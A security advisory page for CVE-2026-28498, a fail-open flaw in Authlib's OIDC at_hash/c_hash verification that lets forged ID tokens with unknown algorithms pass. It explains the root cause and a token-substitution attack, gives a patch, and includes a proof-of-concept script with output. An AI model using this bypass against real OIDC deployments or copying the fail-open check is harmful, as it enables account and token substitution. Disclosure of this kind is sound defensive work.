CVE-2026-28498: Authlib Fail-Open Cryptographic Verification Vulnerability
HIGH
Advisory Identifier:
GHSA-m344-f55w-2m6j
Advisory Summary
CVE-2026-28498 is a HIGH fail-open cryptographic verification vulnerability (CWE-573: Improper Following of Specification by Caller) affecting Authlib libraries in the PyPI ecosystem. The issue involves fail-open cryptographic verification in oidc hash binding. Remediation is available by upgrading affected packages to version 1.6.9.
CVE-2026-28498 at a Glance
CVE Identifier
CVE-2026-28498
GHSA Identifier
GHSA-m344-f55w-2m6j
Severity
HIGH
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-573: Improper Following of Specification by Caller
Affected Product
Authlib
Package Ecosystem
PyPI
Published Date
Last Updated
How to Fix CVE-2026-28498
To remediate this vulnerability, upgrade all affected Authlib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
authlib
fixed: 1.6.9
pip install authlib>=1.6.9
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show authlibHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-28498, inspect your installed packages using pip:
pip show authlibAnalyze the terminal output to locate any version of Authlib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.9), your application is affected.
Note: The pip show authlib command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-573: Improper Following of Specification by Caller, where the product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform. In Authlib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## 1. Executive Summary
A critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm.
This flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.
---
## 2. Technical Details & Root Cause
The vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`:
```python
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms
return True # ← BYPASS: The verification silently passes
return hmac.compare_digest(hash_value, to_bytes(signature))
```
When an unsupported algorithm string (e.g., `"XX999"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`.
However, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`.
Because developers rely on the standard `.validate()` method provided by Authlib's `IDToken` class—which internally calls this flawed function—there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability.
---
## 3. Attack Scenario
This vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**.
1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one.
2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{"alg": "CUSTOM_ALG"}`).
3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.
4. Authlib attempts to validate the `at_hash` or `c_hash` claims.
5. Because `"CUSTOM_ALG"` is unsupported by `hashlib`, `create_half_hash` returns `None`.
6. Authlib's `_verify_hash` receives `None` and silently returns `True`.
7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.
---
## 4. Specification & Standards Violations
This explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters.
**OpenID Connect Core 1.0**
* **§ 3.2.2.9 (Access Token Validation):** "If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim." Silencing the validation check natively contradicts this absolute requirement.
* **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim.
**IETF JSON Web Token (JWT) Best Current Practices (BCP)**
* **RFC 8725 § 3.1.1:** "Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected." Authlib's implementation effectively "trusts" the hash when it cannot verify the algorithm.
**IETF JSON Web Signature (JWS)**
* **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic.
---
## 5. Remediation Recommendation
The `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately.
**Suggested Patch (`authlib/oidc/core/claims.py`):**
```python
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if hash_value is None:
# FAIL-CLOSED: The algorithm is unsupported, reject the token.
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
```
---
## 6. Proof of Concept (PoC)
The following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash
```bash
python3 -m venv venv
source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib; print(authlib.__version__)"
# → 1.6.8
```
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@title OIDC at_hash / c_hash Verification Bypass
@affected authlib <= 1.6.8
@file authlib/oidc/core/claims.py :: _verify_hash()
@notice _verify_hash() retorna True cuando create_half_hash() retorna
None (alg no soportado), causando Fail-Open en la verificacion
de binding entre ID Token y Access Token / Authorization Code.
@dev Reproduce el bypass directamente contra el codigo de authlib
sin mocks. Todas las llamadas son al modulo real instalado.
"""
import hmac
import hashlib
import base64
import time
import authlib
from authlib.common.encoding import to_bytes
from authlib.oidc.core.util import create_half_hash
from authlib.oidc.core.claims import IDToken, HybridIDToken
from authlib.oidc.core.claims import _verify_hash as authlib_verify_hash
# ─── helpers ──────────────────────────────────────────────────────────────────
R = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"
def header(title):
print(f"\n{CYN}{'─' * 64}{R}")
print(f"{BLD}{title}{R}")
print(f"{CYN}{'─' * 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}")
def fail(msg): print(f" {RED}[BYPASS] {R}{BLD}{msg}{R}")
def info(msg): print(f" {DIM} {msg}{R}")
def at_hash_correct(token: str, alg: str) -> str:
"""
@notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9.
@param token Access token ASCII
@param alg Algoritmo del header del ID Token
@return str at_hash en Base64url sin padding
"""
fn = {"256": hashlib.sha256, "384": hashlib.sha384, "512": hashlib.sha512}
digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()
return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b"=").decode()
def _verify_hash_patched(signature: str, s: str, alg: str) -> bool:
"""
@notice Version corregida de _verify_hash() con semantica Fail-Closed.
@dev Fix: `if not hash_value` -> `if hash_value is None`
None es falsy en Python, pero b"" no lo es. El chequeo original
no distingue entre "algoritmo no soportado" y "hash vacio".
"""
hash_value = create_half_hash(s, alg)
if hash_value is None:
return False
return hmac.compare_digest(hash_value, to_bytes(signature))
# ─── test 1: root cause ───────────────────────────────────────────────────────
def test_root_cause():
"""
@notice Demuestra que create_half_hash() retorna None para alg desconocido
y que _verify_hash() interpreta ese None como verificacion exitosa.
"""
header("TEST 1 - Root Cause: create_half_hash() + _verify_hash()")
token = "real_access_token_from_AS"
fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
alg = "CUSTOM_ALG"
half_hash = create_half_hash(token, alg)
info(f"create_half_hash(token, {alg!r}) -> {half_hash!r} (None = alg no soportado)")
result_vuln = authlib_verify_hash(fake_sig, token, alg)
result_patched = _verify_hash_patched(fake_sig, token, alg)
print()
if result_vuln:
fail(f"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}")
else:
ok(f"authlib _verify_hash() retorno False")
if not result_patched:
ok(f"_verify_hash_patched() retorno False (fail-closed correcto)")
else:
fail(f"_verify_hash_patched() retorno True")
# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────
def test_at_hash_bypass():
"""
@notice Demuestra el bypass end-to-end en IDToken.validate_at_hash().
El atacante modifica el header alg del JWT a un valor no soportado.
validate_at_hash() no levanta excepcion -> token aceptado.
@dev Flujo real de authlib:
validate_at_hash() -> _verify_hash(at_hash, access_token, alg)
-> create_half_hash(access_token, "CUSTOM_ALG") -> None
-> `if not None` -> True -> no InvalidClaimError -> BYPASS
"""
header("TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)")
real_token = "ya29.LEGITIMATE_token_from_real_AS"
evil_token = "ya29.MALICIOUS_token_under_attacker_control"
fake_at_hash = "FAAAAAAAAAAAAAAAAAAAA"
# --- caso A: token legitimo con alg correcto ---
correct_hash = at_hash_correct(real_token, "RS256")
token_legit = IDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"at_hash": correct_hash},
{"access_token": real_token}
)
token_legit.header = {"alg": "RS256"}
try:
token_legit.validate_at_hash()
ok(f"Caso A (legitimo, RS256): at_hash={correct_hash} -> aceptado")
except Exception as e:
fail(f"Caso A rechazo el token legitimo: {e}")
# --- caso B: token malicioso con alg forjado ---
token_forged = IDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"at_hash": fake_at_hash},
{"access_token": evil_token}
)
token_forged.header = {"alg": "CUSTOM_ALG"}
try:
token_forged.validate_at_hash()
fail(f"Caso B (atacante, alg=CUSTOM_ALG): at_hash={fake_at_hash} -> BYPASS exitoso")
info(f"access_token del atacante aceptado: {evil_token}")
except Exception as e:
ok(f"Caso B rechazado correctamente: {e}")
# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────
def test_c_hash_bypass():
"""
@notice Mismo bypass pero para c_hash en Hybrid Flow.
Permite Authorization Code Substitution Attack.
@dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.
Authlib la omite cuando el alg es desconocido.
"""
header("TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)")
real_code = "SplxlOBeZQQYbYS6WxSbIA"
evil_code = "ATTACKER_FORGED_AUTH_CODE"
fake_chash = "ZZZZZZZZZZZZZZZZZZZZZZ"
token = HybridIDToken(
{"iss": "https://idp.example.com", "sub": "user", "aud": "client",
"exp": int(time.time()) + 3600, "iat": int(time.time()),
"nonce": "n123", "at_hash": "AAAA", "c_hash": fake_chash},
{"code": evil_code, "access_token": "sometoken"}
)
token.header = {"alg": "XX9999"}
try:
token.validate_c_hash()
fail(f"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible")
info(f"code del atacante aceptado: {evil_code}")
except Exception as e:
ok(f"Rechazado correctamente: {e}")
# ─── test 4: superficie de ataque ─────────────────────────────────────────────
def test_attack_surface():
"""
@notice Mapea todos los valores de alg que disparan el bypass.
@dev create_half_hash hace: getattr(hashlib, f"sha{alg[2:]}", None)
Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass.
"""
header("TEST 4 - Superficie de Ataque")
token = "test_token"
fake_sig = "AAAAAAAAAAAAAAAAAAAAAA"
vectors = [
"CUSTOM_ALG", "XX9999", "none", "None", "", "RS", "SHA256",
"HS0", "EdDSA256", "PS999", "RS 256", "../../../etc", "' OR '1'='1",
]
print(f" {'alg':<22} {'half_hash':<10} resultado")
print(f" {'-'*22} {'-'*10} {'-'*20}")
for alg in vectors:
hv = create_half_hash(token, alg)
result = authlib_verify_hash(fake_sig, token, alg)
hv_str = "None" if hv is None else "bytes"
res_str = f"{RED}BYPASS{R}" if result else f"{GRN}OK{R}"
print(f" {alg!r:<22} {hv_str:<10} {res_str}")
# ─── main ─────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
print(f"\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}")
print(f"authlib/oidc/core/claims.py :: _verify_hash() \n")
test_root_cause()
test_at_hash_bypass()
test_c_hash_bypass()
test_attack_surface()
print(f"\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\n")
```
---
## Output
```bash
uthlib 1.6.8 - OIDC Hash Verification Bypass PoC
authlib/oidc/core/claims.py :: _verify_hash()
────────────────────────────────────────────────────────────────
TEST 1 - Root Cause: create_half_hash() + _verify_hash()
────────────────────────────────────────────────────────────────
create_half_hash(token, 'CUSTOM_ALG') -> None (None = alg no soportado)
[BYPASS] authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'
[OK] _verify_hash_patched() retorno False (fail-closed correcto)
────────────────────────────────────────────────────────────────
TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)
────────────────────────────────────────────────────────────────
[OK] Caso A (legitimo, RS256): at_hash=gh_beqqliVkRPAXdOz2Gbw -> aceptado
[BYPASS] Caso B (atacante, alg=CUSTOM_ALG): at_hash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso
access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control
────────────────────────────────────────────────────────────────
TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)
────────────────────────────────────────────────────────────────
[BYPASS] c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible
code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE
────────────────────────────────────────────────────────────────
TEST 4 - Superficie de Ataque
────────────────────────────────────────────────────────────────
alg half_hash resultado
---------------------- ---------- --------------------
'CUSTOM_ALG' None BYPASS
'XX9999' None BYPASS
'none' None BYPASS
'None' None BYPASS
'' None BYPASS
'RS' None BYPASS
'SHA256' None BYPASS
'HS0' None BYPASS
'EdDSA256' None BYPASS
'PS999' None BYPASS
'RS 256' None BYPASS
'../../../etc' None BYPASS
"' OR '1'='1" None BYPASS
Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash()
```
CVE-2026-28498 Affected Authlib Versions
1 component(s)
Fixed Versions:
1.6.9
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
authlib
|
PyPI |
< 1.6.9
|
1.6.9
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/authlib/authlib/security/advisories/GHSA-m344-f55w-2m6j
NVD — CVE-2026-28498
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-28498
Security Fix Commit
FIX COMMIT
https://github.com/authlib/authlib/commit/b9bb2b25bf8b7e01512d847a95c1749646eaa72b
Authlib Source Repository
REPOSITORY
https://github.com/authlib/authlib
Authlib Release
RELEASE
https://github.com/authlib/authlib/releases/tag/v1.6.9
Frequently Asked Questions
What is CVE-2026-28498?
CVE-2026-28498 is a security vulnerability in Authlib involving Fail-Open Cryptographic Verification in OIDC Hash Binding under CWE-573: Improper Following of Specification by Caller.
Which Authlib versions are affected?
Affected versions include releases prior to 1.6.9 across affected packages: authlib.
What version fixes CVE-2026-28498?
Upgrading to 1.6.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is authlib affected?
Yes, authlib is affected in releases prior to 1.6.9. Upgrade your dependency to 1.6.9 or later.
What CWE is associated with CVE-2026-28498?
CVE-2026-28498 is classified under CWE-573: Improper Following of Specification by Caller (The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.).
How can I check PyPI dependencies for CVE-2026-28498?
Run the dependency tree command: 'pip show authlib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-m344-f55w-2m6j",
"modified" : "2026-03-16T21:54:15Z",
"published" : "2026-03-16T16:15:06Z",
"aliases" : [ "CVE-2026-28498" ],
"summary" : "Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding",
"details" : "## 1. Executive Summary\n\nA critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm. \n\nThis flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.\n\n---\n\n## 2. Technical Details & Root Cause\n\nThe vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`:\n\n```python\ndef _verify_hash(signature, s, alg):\n hash_value = create_half_hash(s, alg)\n if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms\n return True # ← BYPASS: The verification silently passes\n return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\nWhen an unsupported algorithm string (e.g., `\"XX999\"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`. \n\nHowever, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`. \n\nBecause developers rely on the standard `.validate()` method provided by Authlib's `IDToken` class—which internally calls this flawed function—there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability.\n\n---\n\n## 3. Attack Scenario\n\nThis vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**.\n\n1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one.\n2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{\"alg\": \"CUSTOM_ALG\"}`).\n3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.\n4. Authlib attempts to validate the `at_hash` or `c_hash` claims. \n5. Because `\"CUSTOM_ALG\"` is unsupported by `hashlib`, `create_half_hash` returns `None`.\n6. Authlib's `_verify_hash` receives `None` and silently returns `True`.\n7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.\n\n---\n\n## 4. Specification & Standards Violations\n\nThis explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters.\n\n**OpenID Connect Core 1.0**\n* **§ 3.2.2.9 (Access Token Validation):** \"If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim.\" Silencing the validation check natively contradicts this absolute requirement.\n* **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim.\n\n**IETF JSON Web Token (JWT) Best Current Practices (BCP)**\n* **RFC 8725 § 3.1.1:** \"Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected.\" Authlib's implementation effectively \"trusts\" the hash when it cannot verify the algorithm.\n\n**IETF JSON Web Signature (JWS)**\n* **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic.\n\n---\n\n## 5. Remediation Recommendation\n\nThe `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately.\n\n**Suggested Patch (`authlib/oidc/core/claims.py`):**\n\n```python\ndef _verify_hash(signature, s, alg):\n hash_value = create_half_hash(s, alg)\n if hash_value is None:\n # FAIL-CLOSED: The algorithm is unsupported, reject the token.\n return False\n return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\n---\n\n## 6. Proof of Concept (PoC)\n\nThe following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash\n\n```bash\npython3 -m venv venv\nsource venv/bin/activate\npip install authlib cryptography\npython3 -c \"import authlib; print(authlib.__version__)\"\n# → 1.6.8\n```\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@title OIDC at_hash / c_hash Verification Bypass\n@affected authlib <= 1.6.8\n@file authlib/oidc/core/claims.py :: _verify_hash()\n@notice _verify_hash() retorna True cuando create_half_hash() retorna\n None (alg no soportado), causando Fail-Open en la verificacion\n de binding entre ID Token y Access Token / Authorization Code.\n@dev Reproduce el bypass directamente contra el codigo de authlib\n sin mocks. Todas las llamadas son al modulo real instalado.\n\"\"\"\n\nimport hmac\nimport hashlib\nimport base64\nimport time\n\nimport authlib\nfrom authlib.common.encoding import to_bytes\nfrom authlib.oidc.core.util import create_half_hash\nfrom authlib.oidc.core.claims import IDToken, HybridIDToken\nfrom authlib.oidc.core.claims import _verify_hash as authlib_verify_hash\n\n# ─── helpers ──────────────────────────────────────────────────────────────────\n\nR = \"\\033[0m\"\nRED = \"\\033[91m\"\nGRN = \"\\033[92m\"\nYLW = \"\\033[93m\"\nCYN = \"\\033[96m\"\nBLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\n\ndef header(title):\n print(f\"\\n{CYN}{'─' * 64}{R}\")\n print(f\"{BLD}{title}{R}\")\n print(f\"{CYN}{'─' * 64}{R}\")\n\ndef ok(msg): print(f\" {GRN}[OK] {R}{msg}\")\ndef fail(msg): print(f\" {RED}[BYPASS] {R}{BLD}{msg}{R}\")\ndef info(msg): print(f\" {DIM} {msg}{R}\")\n\ndef at_hash_correct(token: str, alg: str) -> str:\n \"\"\"\n @notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9.\n @param token Access token ASCII\n @param alg Algoritmo del header del ID Token\n @return str at_hash en Base64url sin padding\n \"\"\"\n fn = {\"256\": hashlib.sha256, \"384\": hashlib.sha384, \"512\": hashlib.sha512}\n digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()\n return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b\"=\").decode()\n\n\ndef _verify_hash_patched(signature: str, s: str, alg: str) -> bool:\n \"\"\"\n @notice Version corregida de _verify_hash() con semantica Fail-Closed.\n @dev Fix: `if not hash_value` -> `if hash_value is None`\n None es falsy en Python, pero b\"\" no lo es. El chequeo original\n no distingue entre \"algoritmo no soportado\" y \"hash vacio\".\n \"\"\"\n hash_value = create_half_hash(s, alg)\n if hash_value is None:\n return False\n return hmac.compare_digest(hash_value, to_bytes(signature))\n\n# ─── test 1: root cause ───────────────────────────────────────────────────────\n\ndef test_root_cause():\n \"\"\"\n @notice Demuestra que create_half_hash() retorna None para alg desconocido\n y que _verify_hash() interpreta ese None como verificacion exitosa.\n \"\"\"\n header(\"TEST 1 - Root Cause: create_half_hash() + _verify_hash()\")\n\n token = \"real_access_token_from_AS\"\n fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n alg = \"CUSTOM_ALG\"\n\n half_hash = create_half_hash(token, alg)\n info(f\"create_half_hash(token, {alg!r}) -> {half_hash!r} (None = alg no soportado)\")\n\n result_vuln = authlib_verify_hash(fake_sig, token, alg)\n result_patched = _verify_hash_patched(fake_sig, token, alg)\n\n print()\n if result_vuln:\n fail(f\"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}\")\n else:\n ok(f\"authlib _verify_hash() retorno False\")\n\n if not result_patched:\n ok(f\"_verify_hash_patched() retorno False (fail-closed correcto)\")\n else:\n fail(f\"_verify_hash_patched() retorno True\")\n\n# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────\n\ndef test_at_hash_bypass():\n \"\"\"\n @notice Demuestra el bypass end-to-end en IDToken.validate_at_hash().\n El atacante modifica el header alg del JWT a un valor no soportado.\n validate_at_hash() no levanta excepcion -> token aceptado.\n\n @dev Flujo real de authlib:\n validate_at_hash() -> _verify_hash(at_hash, access_token, alg)\n -> create_half_hash(access_token, \"CUSTOM_ALG\") -> None\n -> `if not None` -> True -> no InvalidClaimError -> BYPASS\n \"\"\"\n header(\"TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\")\n\n real_token = \"ya29.LEGITIMATE_token_from_real_AS\"\n evil_token = \"ya29.MALICIOUS_token_under_attacker_control\"\n fake_at_hash = \"FAAAAAAAAAAAAAAAAAAAA\"\n\n # --- caso A: token legitimo con alg correcto ---\n correct_hash = at_hash_correct(real_token, \"RS256\")\n token_legit = IDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"at_hash\": correct_hash},\n {\"access_token\": real_token}\n )\n token_legit.header = {\"alg\": \"RS256\"}\n\n try:\n token_legit.validate_at_hash()\n ok(f\"Caso A (legitimo, RS256): at_hash={correct_hash} -> aceptado\")\n except Exception as e:\n fail(f\"Caso A rechazo el token legitimo: {e}\")\n\n # --- caso B: token malicioso con alg forjado ---\n token_forged = IDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"at_hash\": fake_at_hash},\n {\"access_token\": evil_token}\n )\n token_forged.header = {\"alg\": \"CUSTOM_ALG\"}\n\n try:\n token_forged.validate_at_hash()\n fail(f\"Caso B (atacante, alg=CUSTOM_ALG): at_hash={fake_at_hash} -> BYPASS exitoso\")\n info(f\"access_token del atacante aceptado: {evil_token}\")\n except Exception as e:\n ok(f\"Caso B rechazado correctamente: {e}\")\n\n# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────\n\ndef test_c_hash_bypass():\n \"\"\"\n @notice Mismo bypass pero para c_hash en Hybrid Flow.\n Permite Authorization Code Substitution Attack.\n @dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.\n Authlib la omite cuando el alg es desconocido.\n \"\"\"\n header(\"TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\")\n\n real_code = \"SplxlOBeZQQYbYS6WxSbIA\"\n evil_code = \"ATTACKER_FORGED_AUTH_CODE\"\n fake_chash = \"ZZZZZZZZZZZZZZZZZZZZZZ\"\n\n token = HybridIDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"nonce\": \"n123\", \"at_hash\": \"AAAA\", \"c_hash\": fake_chash},\n {\"code\": evil_code, \"access_token\": \"sometoken\"}\n )\n token.header = {\"alg\": \"XX9999\"}\n\n try:\n token.validate_c_hash()\n fail(f\"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible\")\n info(f\"code del atacante aceptado: {evil_code}\")\n except Exception as e:\n ok(f\"Rechazado correctamente: {e}\")\n\n# ─── test 4: superficie de ataque ─────────────────────────────────────────────\n\ndef test_attack_surface():\n \"\"\"\n @notice Mapea todos los valores de alg que disparan el bypass.\n @dev create_half_hash hace: getattr(hashlib, f\"sha{alg[2:]}\", None)\n Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass.\n \"\"\"\n header(\"TEST 4 - Superficie de Ataque\")\n\n token = \"test_token\"\n fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n\n vectors = [\n \"CUSTOM_ALG\", \"XX9999\", \"none\", \"None\", \"\", \"RS\", \"SHA256\",\n \"HS0\", \"EdDSA256\", \"PS999\", \"RS 256\", \"../../../etc\", \"' OR '1'='1\",\n ]\n\n print(f\" {'alg':<22} {'half_hash':<10} resultado\")\n print(f\" {'-'*22} {'-'*10} {'-'*20}\")\n\n for alg in vectors:\n hv = create_half_hash(token, alg)\n result = authlib_verify_hash(fake_sig, token, alg)\n hv_str = \"None\" if hv is None else \"bytes\"\n res_str = f\"{RED}BYPASS{R}\" if result else f\"{GRN}OK{R}\"\n print(f\" {alg!r:<22} {hv_str:<10} {res_str}\")\n\n# ─── main ─────────────────────────────────────────────────────────────────────\n\nif __name__ == \"__main__\":\n print(f\"\\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}\")\n print(f\"authlib/oidc/core/claims.py :: _verify_hash() \\n\")\n\n test_root_cause()\n test_at_hash_bypass()\n test_c_hash_bypass()\n test_attack_surface()\n\n print(f\"\\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\\n\")\n```\n\n---\n\n## Output\n\n```bash\nuthlib 1.6.8 - OIDC Hash Verification Bypass PoC\nauthlib/oidc/core/claims.py :: _verify_hash() \n\n\n────────────────────────────────────────────────────────────────\nTEST 1 - Root Cause: create_half_hash() + _verify_hash()\n────────────────────────────────────────────────────────────────\n create_half_hash(token, 'CUSTOM_ALG') -> None (None = alg no soportado)\n\n [BYPASS] authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'\n [OK] _verify_hash_patched() retorno False (fail-closed correcto)\n\n────────────────────────────────────────────────────────────────\nTEST 2 - IDToken.validate_at_hash() Bypass 